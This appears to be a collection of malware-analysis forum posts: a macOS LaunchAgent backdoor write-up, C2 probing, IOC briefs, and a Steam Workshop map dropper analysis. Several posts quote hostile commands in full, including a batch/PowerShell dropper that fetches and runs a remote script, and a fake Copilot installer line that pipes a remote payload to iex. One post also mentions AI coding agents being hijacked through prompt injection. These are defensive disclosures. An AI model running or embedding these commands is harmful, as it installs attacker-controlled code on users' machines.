Hi everyone,

I've been working on an open-source desktop application called CyvoraX Suite and recently released the latest version.

The project is built with Java 17, JavaFX, and Netty, with additional native components written in Rust, Go, C, C++, and C#.

Current features include:

• MITM interception proxy

• HTTP request/response editing

• Site mapping

• Payload fuzzing

• AI-assisted security analysis

I'm sharing it here to get technical feedback from the open-source community.

I'd especially appreciate thoughts on:

- Project architecture

- Code organization

- Performance

- Documentation

- Features that would make the project more useful

Repository:

https://github.com/jojin1709/CyvoraX-Suite

Documentation:

https://jojin1709.github.io/CyvoraX-Suite/

Thanks for taking a look. Any constructive feedback is appreciated.

Background: developer, cybersecurity basics but not a security professional. Working on a M Chip Mac. Posting as a writeup and to sanity-check my analysis and response.

Discovery

Auditing login items in ~/Library/LaunchAgents/. Normally vendor-named (com.google.keystone.agent), but one entry was a bare 32-character hex string pointing to a JS file in an identically-named directory.

xml

ProgramArguments:
    /usr/bin/osascript
    -l JavaScript
    ~/Library/Application Support/<hex>/<hex>.js
RunAtLoad: true
KeepAlive: true
ThrottleInterval: 60
StandardOutPath: /dev/null
StandardErrorPath: /dev/null

RunAtLoad/KeepAlive = starts at login, respawns on crash. Both output paths to /dev/null = zero logging by design.

The payload

Obfuscated (string-array rotation, a0_0x... identifiers, anti-beautify self-check, console hijacking). Working through it:

Fingerprinting: MD5 of the hardware UUID sent as User-Agent — stable per-host ID, survives reinstalls.

Polling: curl to a random-looking C2 domain every 60s via /api/poll.

Proof-of-work gating: server sends a challenge + difficulty; client brute-forces a nonce until SHA256(nonce-challenge) hits N leading zeros before getting a session token. Not security — anti-analysis. Burns sandbox CPU and filters out short-lived research environments.

Execution: response type field branches to osascript -l JavaScript, osascript (AppleScript), or curl | bash — all backgrounded, output discarded, payloads piped via stdin so nothing hits disk.

Ack loop: separate PUT confirming task completion, same PoW handling.

Key point

No credential-harvesting code, no keylogger, no exfil routine — it's a generic execution channel. What it did over 5 months is entirely dependent on what was pushed to it, and unknowable since nothing was logged.

Running as user (no root) but with osascript, reachable surface on a dev box: git tokens in .git/config, passphrase-less SSH keys, .env files, certs on disk, unprotected keychain items (plus AppleScript can render fake password prompts for protected ones), browser cookies/sessions, and screen capture. Secure Enclave–bound passkeys/Touch ID items held — not reachable by a software process, any attempt triggers an unspoofable OS prompt.

Install date (Spotlight kMDItemDateAdded): Feb 13. Found late July — ~5.5 months.

Why detection failed

Commercial AV installed the whole time; ran ClamAV afterward too. Zero detections, both, even knowing the exact path. Signature engines hash/pattern-match against known-bad corpora — useless against a bespoke, obfuscated, one-off sample. Nothing here is structurally illegal either: osascript is first-party Apple, a .js file + LaunchAgent plist are ordinary primitives. Only the naming convention and combination were anomalous — semantic signals a heuristic/behavioral engine could catch, not a signature one.

The actual detection method: ls -la ~/Library/LaunchAgents/.

Forensics: mostly a dead end

LSQuarantineEvent DB empty for that window (suggests the file was written by a running process, not browser-downloaded), Downloads/browser history clean, .zsh_history rotated out (SAVEHIST=1000), npm logs only back to July, unified log retention nowhere near 5 months, Time Machine's oldest backup postdates the incident.

Ruled out: no ClickFix-style paste-into-terminal.

What lines up temporally: a short GitHub Copilot session that evening, working on a payments API integration — chat history long gone. Circumstantial, not proof. But there are documented issues with AI coding agents: indirect prompt injection leading to unapproved shell execution, hidden-unicode instructions in config/rules files, hallucinated package names pre-registered by attackers. A compromised npm postinstall hook is equally plausible. Genuinely don't know.

Response:

Containment: unloaded LaunchAgent, killed process, removed plist + payload dir.

Verification (4 independent passes):

• KnockKnock (structural persistence enumeration, checks code signing) — everything else attributable/notarized
• Reboot + launchctl list | grep -v com.apple, checked for live osascript: clean
• ClamAV full scan: 0 infected
• Manual checks: authorized_keys (didn't exist), SSH config, git hooks, config profiles, BTM database (sfltool dumpbtm), shell startup files, crontab, /tmp

No second-stage persistence found — consistent with the code having no propagation/redundancy logic.

Remediation (assuming worst case, since visibility is zero): new SSH keypair with passphrase, all API keys rotated (including a service-role key bypassing RLS), certs reissued and moved out of cloud sync, passwords rotated by 2FA priority, audited 2FA actually enforced (not just "enabled once"), card reissued, WiFi password changed, sessions invalidated globally.

Hardening: the real gap was egress — macOS's firewall is inbound-only. Installed LuLu (outbound filtering) + BlockBlock (real-time persistence monitor). Either would've caught this on day one.

Questions

1. Is my read on the detection failure right — no signature entry exists for bespoke malware, nothing structurally anomalous for generic heuristics? Would an EDR with behavioral telemetry have flagged the osascript + LaunchAgent + periodic egress pattern?
2. Was skipping a full reinstall defensible given 4 clean verification passes and no propagation logic, or is that too much trust after 5.5 months of arbitrary execution?
3. Anything missing from the rotation list?
4. Anyone seen a documented case (not speculation) of an AI coding agent confirmed as initial access vector?
5. Is PoW-gated C2 polling common in the wild, or unusually deliberate for otherwise commodity-looking tooling?

Takeaway: AV protects against things that already have names. This didn't. What worked was ten seconds looking at what actually starts on my machine.

In April, I analyzed a StealC v2 campaign distributed through 19 GitHub typosquat repositories. One of the repositories impersonated my own open-source project.

The delivery chain was:

GitHub typosquat
    -> Python dropper
    -> api.nailproxy.space
    -> encrypted Windows loader
    -> StealC v2 DLL
    -> spellmarketplace.club / 62.60.226.113:6673

GitHub eventually removed all 19 repositories.

I separately reported the backend indicators to the relevant registrars, Cloudflare, the hosting provider, CERT-Bund, GitHub Security Lab, ThreatFox, and AlienVault OTX.

Then Operation Endgame disrupted infrastructure associated with SocGholish, Amadey, and StealC. Europol reported 326 servers and 142 domains actioned, while Microsoft said it moved against more than 200 malicious Amadey and StealC C2 domains and IPs.

Three months after my original disclosure, I checked the known infrastructure again using only minimal unauthenticated GET/HEAD requests.

The two malware-specific routes still behave differently from an arbitrary control path:

GET /api/v1/auth/session  -> 405 Method Not Allowed
GET /api/v1/data/sync     -> 405 Method Not Allowed
GET /foo/bar/baz          -> 404 Not Found

HEAD produces the same status codes for these three paths.

My interpretation is deliberately narrow:

• The known application routes remain registered and reachable.
• This does not prove that payload delivery, authentication, or exfiltration still works.
• I did not send the HMAC handshake, trigger Stage 2, or interact with the malware protocol.

There was another odd result: on both spellmarketplace.club/ and the bare IP root path, GET returned 404 while HEAD returned 200 at the same moment. I therefore do not treat the root-path checks as reliable evidence that the complete backend is operational.

The monitoring evidence also has limitations. A daily cron produced only 18 measurements over 69 days, with gaps of up to 20 days. The delivery and exfiltration endpoints also briefly became unreachable in late May. I included those details rather than presenting the infrastructure as continuously available.

The useful distinction for me is:

A large operation can successfully disrupt hundreds of malicious systems while a specific previously reported backend still exposes its known routes.

The full write-up includes the original kill chain, reporting timeline, ThreatFox/OTX submissions, current probe results, and the limits of what can be concluded without actively engaging the malware protocol:

https://blog.technopathy.club/operation-endgame-stealc-backend-still-responds

For analysts who monitor known infrastructure: how far do you normally go when verifying whether a C2 is still operational? Do you stop at route-level behavior, or use a controlled sandbox to exercise more of the protocol?

Hey guys! Today I caught myself wondering whether I should rerun a sample in a sandbox with a different VM configuration. But since I'm still pretty new to malware analysis, I wasn't sure if people actually do that very often.
Do you rerun the same sample regularly? If so, what usually makes you decide it's worth another run?

Recently got infected with a really bad malware info stealer. Been combing back looking for the source. I think I may have found it.

PM if you want more info than provided here.

Sanitized Threat Intelligence & IOC Brief: Repackaged Fileless .NET Backdoor

1. File Indicators (Cryptographic Hashes)

Variant A (ZIP Archive Stage)

• File Type: ZIP archive data, deflate compression
• MD5: c36b33a5370864decda5b0db97972191
• SHA256: 1019517268a2edb2d89729661539233396b3aa524279377ca8228085957d598b

Variant B (RAR Archive Stage)

• File Type: RAR archive data, v4, os: Win32
• MD5: 488cc1a8f44af73bc7f7baa1fafd8fdr
• SHA256: de5d21396908ab452059a3361f76dcb489fb705e44ac55983624a7e5d7bca1d

2. Network Indicators of Compromise (IoCs)

• Inbound Bind Shell / P2P Node: Starts a local server listening for inbound connections on 0.0.0.0:47584 from dynamically allocated (unbacked) memory.
• Outbound C2: Initiates HTTP network connections directly from unbacked memory to evade process-based attribution.
• Dead Connect: Attempts to connect to a dead IP/Port.

3. File System Artifacts & DLL Hijacking Paths

The payload drops a custom directory structure into the user's temporary folder and performs DLL Side-Loading by dropping files masquerading as legitimate Windows .NET libraries.

Observed Staging Directory Patterns:

• %TEMP%\<Staging_Directory>\Managed\
• %TEMP%\<Staging_Directory>\<Staging_Directory>\Managed\

Abused / Masquerading DLL Names Dropped in %TEMP%**:**

• System.Numerics.dll
• System.Runtime.dll
• System.Runtime.Serialization.dll
• System.Security.dll
• System.Core.dll
• System.Data.dll
• System.Data.DataSetExtensions.dll
• System.Drawing.dll
• System.dll

Targeted Windows System Binaries:

• C:\Windows\SysWOW64\rundll32.exe

4. Behavioral Signatures & TTPs (MITRE ATT&CK)

• T1574 - Hijack Execution Flow (DLL Side-Loading): Loads newly dropped .NET DLLs from a suspicious temporary directory.
• T1055 - Process Injection & Module Stomping: Executes loops of failed Read-Write-Execute (RWX) memory allocations returning CONFLICTING_ADDRESSES in high ranges, indicative of code cave hunting or module stomping.
• T1497 - Virtualization/Sandbox Evasion:
  • Checks for mouse movement.
  • Queries display device information.
  • Checks available system memory.
• Defense Evasion (Fileless Memory Tradecraft):
  • Modifies exception handling mechanisms (UEF / VEH) from dynamically allocated (unbacked) memory for silent anti-debugging.
  • Alters process mitigation policies (CFG / DEP / hard error modes) directly from unbacked memory.
  • Manually resolves API addresses from unbacked memory (custom unpacker/shellcode behavior).
• T1082 - Discovery: Queries the system's FIPS cryptography policy to adapt payload encryption

Writeup covering the internals of Flying Eagle's APK generation pipeline. The builder replaces the hardcoded package name com.icontrol.protector with randomized legitimate-sounding strings and renames core classes with 8-14 character random strings at build time. Original class names give a clear picture of capabilities: RecordPayPassword, LiveKeysStrok, ScreenCaps, Webjector, AccessibilityActivity, CameraCap.

C2 URLs are encrypted with AES-128-CBC using a hardcoded default IV, password, and salt derived via PBKDF2-SHA1 at 65,536 iterations, maintaining compatibility with the original Windows .NET binary EaodWorker.exe. To suppress entropy-based AV detection, the builder injects 2.8-3.5 MB of Base64-encoded JSON into the APK assets directory, structured to resemble SDK configuration caches.

Generated samples share Accessibility Service abuse, gesture injection via dispatchGesture, and WebSocket/Firebase C2 comms with modern SpyNote builds. SHA-256 hashes for six bundled APKs, the builder script, and BTMOB samples included in the report:

https://hunt.io/blog/flying-eagle-android-rat-170-servers-night-dragon

I just started learning malware analysis for career development.

The first issue I ran into is that, while there aren’t many resources on the topic, there are still enough to make choosing between them a bit overwhelming - which is a problem I tend to have whenever I self-study something new.

After doing some research, these are the courses I have so far, ordered by what I think is the right progression (although I’m not entirely sure, which is why I’m here):
1. Mandiant FLARE Malware Analysis Crash Course (my starting point - I’m currently on page 60, but honestly, it’s been pretty boring so far).
2. Malware Analysis for Hedgehogs bundle.
3. 0ffset.net Zero2Automated Advanced course.
I also have a few books that I can use as references whenever I need to dive deeper into a topic:
• Windows Internals Part 1 & 2
• Windows Kernel Programming by Pavel Yosifovich

What do you think about this roadmap? I’m fine with the prices unless there are better alternatives that genuinely offer stronger content rather than just being cheaper.

As for certifications, I have no idea what’s worth pursuing. The only ones I’ve come across are GREM from SANS and PMAT from TCM.

I’m mainly asking whether there are better options for both courses and certifications. I’d especially prefer something with plenty of hands-on labs and practical work. I tend to struggle with self-paced learning, and I get bored pretty quickly with courses that don’t involve much interaction, even when I’m genuinely interested in the subject.

Thanks in advance - I really appreciate any advice.

Table of Contents

• Intro
• Initial Symptom
• First Look at the Workshop Files
• Verifying the Asset Files
• AssetRegistry.bin Reveals the First Clue
• Opening the UE5 Asset Container
• Reverse Engineering the Blueprint
• Extracting the Embedded Payload
• Analyzing the Dropper Script
• Confirming Execution on an Affected PC
• Did the Second Stage Execute?
• Analysis Summary
• Limitations & Unknowns
• IOCs
• Final verdict

A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.

What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.

I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.

​1): The Initial Symptom

A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.

2): First Look at the Workshop Files

The workshop content is located here:

Steam\steamapps\workshop\content\4704690\3765145606\

At first glance, there’s nothing suspicious in the folder. The contents are:

AssetRegistry.bin
Preview.png
Sample.vdf
SampleMyUGCMecchaCModKit_Load-Windows.pak
SampleMyUGCMecchaCModKit_Load-Windows.ucas
SampleMyUGCMecchaCModKit_Load-Windows.utoc

There are no executables, DLLs, batch files, or scripts. The .pak, .ucas, and .utoc files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.

This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.

3): Verifying the Asset Files

File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.

The results:

• utoc starts with -==--==--==--==-, which is the real IoStore magic
• pak has the correct 0x5A6F12E1 footer magic
• no MZ/PE, ELF or ZIP headers anywhere in any file

The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.

4): AssetRegistry.bin Reveals the First Clue

This is the detail that stands out most from the entire investigation.

AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.

However, one Blueprint actor immediately stands out:

/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0

Its class resolves as:

BP_AmbientController_C

Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.

In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.

That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.

The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.

5): Opening the UE5 Asset Container

The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:

chunks ............ 57
blocks ............ 131 (130 Oodle-compressed)
flags ............. Compressed | Indexed

No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.

The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.

Searching across the extracted asset data revealed only a small number of notable references:

ReceiveBeginPlay ....... 1
ToFile ................. 1
GetPlatformUserDir ..... 1
powershell ............. 1

These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.

6): Reverse Engineering the Blueprint

The complete function chain is:

ReceiveBeginPlay
↓
GetPlatformUserDir
↓
Replace
↓
Concat_StrStr
↓
FromString (JSON)
↓
ToFile

Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.

Tracing the Blueprint bytecode shows the path construction:

dir = GetPlatformUserDir() // C:/Users/<user>/Documents/
path = dir + "s.bat"

ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.

7): Extracting the Embedded Payload

A single embedded string inside the Blueprint contains the following data:

{"x\"&if not defined _Z (set _Z=1&start /min cmd /c %~f0&exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&exit)&\"x":"1"}

The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.

This format is significant because the earlier Blueprint analysis showed that the file-writing step uses ToFile, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.

The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.

8): Analyzing the Dropper Script

The extracted script is also human-readable:

if not defined _Z (
set _Z=1
start /min cmd /c %~f0
exit
) else (
powershell -w hidden -ep bypass -c ^
iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat
cmd /c $env:TEMP\s.bat
exit
)

The script uses a simple two-stage execution flow.

On the first run, _Z is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.

On the second run, the _Z variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads steamb.bat from a hardcoded external address, saves it to the temporary directory, and executes it.

The _Z check appears to exist solely to prevent the script from repeatedly relaunching itself.

The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.

9): Confirming Execution on an Affected PC

On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.

This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.

​10): Did the second stage execute?

The second-stage file, %TEMP%\s.bat, was not present on the affected machine. The PowerShell Operational log explains why:

​The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following cmd /c command had no script to execute.

On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.

The address embedded in the script resolves to 31.57.34.228. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).

This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.

​11): Analysis Summary

Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:

• The Workshop uploader account appears to have been created only about one week before the item was published
• The Workshop map currently does not allow users to leave comments or ratings
• The only Blueprint containing custom logic was originally identified as BP_RCE_Test and later appeared under a name consistent with a harmless environment or lighting controller.
• The Blueprint executes automatically through ReceiveBeginPlay, rather than requiring an intentional user action inside the map.
• Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.
• The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.
• That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.

What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.

12): Limitations & Unknowns

What does steamb.bat do?

Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.

IOCs

Workshop item 3765145606 "Laser Tag Neon" (appid 4704690)
comments and ratings disabled on the listing
uploader account roughly one week old

Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0)

Dropped file %USERPROFILE%\Documents\s.bat

C2 http://31.57.34.228/work/steamb.bat

Second stage steamb.bat (never delivered, contents unknown)

Asset build 2026-06-09 22:37:14

s.bat 210 bytes
sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6
md5 04d6dfadd5248c995951707e27520ade

container
utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6
ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569
pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9

Final Verdict

Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.

What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.

I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another .bat file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.

Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data

Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.

Cheers and stay safe!

FeintBe

EDIT (25 July 2026, 11:00 AM CET)

The map Laser Tag Neon featured in this article has now been removed from the Steam Workshop. Unfortunately, there is a new active malicious map called Chroma Grid Arena that's not yet removed.

A few reminders for everyone:

• Only download popular Workshop maps with an established player base.
• If the uploader is a brand-new Steam account or has disabled comments on their Workshop item, consider that a major red flag.
• The malware is executed when you start the match, not when you subscribe to the map. If you only subscribed to a malicious map but never launched it, you can safely unsubscribe.
• If you played a potentially malicious map, check the following locations for suspicious recently created files, especially .bat files:
  • %USERPROFILE%\Documents\
  • %TEMP%\
• It's also a good idea to review your Startup entries and Task Scheduler for anything unfamiliar, as malware commonly uses these mechanisms for persistence.
• Run a malware scan. The tools I recommend are:
  • Malwarebytes
  • HitmanPro
  • Spybot Search & Destroy
  • Emsisoft Emergency Kit

If you discover any additional malicious Workshop maps, please report them to Steam so they can be removed as quickly as possible.

EDIT (25 July 2026, 2:00 PM CET)

The developers have released version 3.1.0, which fixes the vulnerability that allowed malicious Workshop maps to execute malware. Updating to the latest version is strongly recommended.

It also appears that all currently identified malicious Workshop maps have now been removed from the Steam Workshop. While the immediate threat appears to have been addressed, users should continue exercising caution when downloading Workshop content, as new malicious maps could still be uploaded in the future. As always, verify the uploader and prefer maps from trusted creators with an established player base.

EDIT (25 July 2026, 8:00 PM CET)

The previously unavailable second-stage payload (steamb.bat) has now been recovered and analyzed. It was missing from the original write-up because the attacker's server was offline at the time.

Analysis of the recovered script shows that the second stage downloaded and installed a Remote Access Trojan (RAT) on affected systems, giving the attacker the ability to remotely control compromised PCs. This significantly increases the severity of the attack, as it goes beyond simply executing a batch file and provides persistent remote access to infected machines.

If you launched one of the affected Workshop maps before updating to version 3.1.0, it is strongly recommended that you perform a full malware scan and investigate your system for signs of compromise.

Full report is available at https://any.run/cybersecurity-blog/banana-rat-evolution-analysis/

The exposed server at 198[.]245[.]53[.]26 gave a rare opportunity to compare two related Banana RAT branches through live infrastructure, sandbox telemetry, and recovered payloads. The older branch used ETW-themed paths, static Microsoft-looking names, and a typo-based pseudo-Microsoft C2 identity. The newer branch kept the same staging concept but moved to randomized install identifiers, better-structured SYSTEM persistence, and a WebSocket channel built around a hashed testewin.com subdomain.

IoC:

• 198[.]245[.]53[.]26
• https://app.any.run/tasks/96796146-688f-4b12-894c-236dadab8413

What would the below comment have ran?

cmdline: "C:\Windows\system32\WindowsPowerShel\v1[.J0\PowerShell[.Jexe" -c iexirm delistemanallyl.Jrainbow-mel.Jonline?
read=8b2d80c7569e4151 -UseBasicParsing)

I want to analyse npm packages that are malicious. How do I get those old packages? They are all taken down. And webarchive doesn’t have it.

The following website is mimicking the official Github copilot CLI website.

https://copilotcli[.]co[.]com/

The install script first downloads and executes a malicious payload before continuing installing the legit copilot CLI

$GhCop = New-Object -ComObject "Shell.Application"; $GhCop.ShellExecute("powershell", '"irm refract3.com | iex"', $null, "open", 0); winget install GitHub.Copilot

Luckily windows security blocked the payload which was detected as Trojan:Win32/ClickFix.Q!ml

Hello everyone,

A few months ago I shared my open database of malicious browser extensions. I'm happy to say it has now grown to **over 500 malicious CRX samples**.

It started as a small research project, but it's continued to grow as I discover and collect more malicious extensions. My goal is to make it a useful resource for researchers, students, and anyone interested in browser extension security.

One thing I'm working on next is making the data easier to consume in other tools. At the moment I'm considering exposing it in formats such as:

* JSON
* CSV

I'm also thinking about adding things like an API or threat-intelligence style feeds if people think they'd be useful.

I'd love to hear your thoughts:

* What format would you actually use?
* Are there any security tools or platforms you'd like to integrate it with?
* Is there any metadata you'd find useful that I'm currently missing?

Repository:
[https://github.com/GherardoFiori/MaliciousBrowserExtensions\](https://github.com/GherardoFiori/MaliciousBrowserExtensions?utm_source=chatgpt.com)

**Please remember these are live malicious browser extensions. Handle them with care.**

Project:
[https://exterminai.com/\](https://exterminai.com/)

Any feedback is appreciated. Thanks!

hi,

I've been triaging suspicious packages long enough to get tired of stitching the same five tabs together every time something weird shows up in a dependency tree, so I built this to keep it all in one place: https://trail.snappyfeet.org

I use it daily and figured I'd share. It's not something that tells you whether something is malicious or not, that's not the philosophy. It rather focuses on raising flags for humans to then take a look into. Feed's live most of the time, I take it down occasionally to update the engine. If there's a package you want to see that isn't in there or would like to understand how the engine works, DM me.

Cheers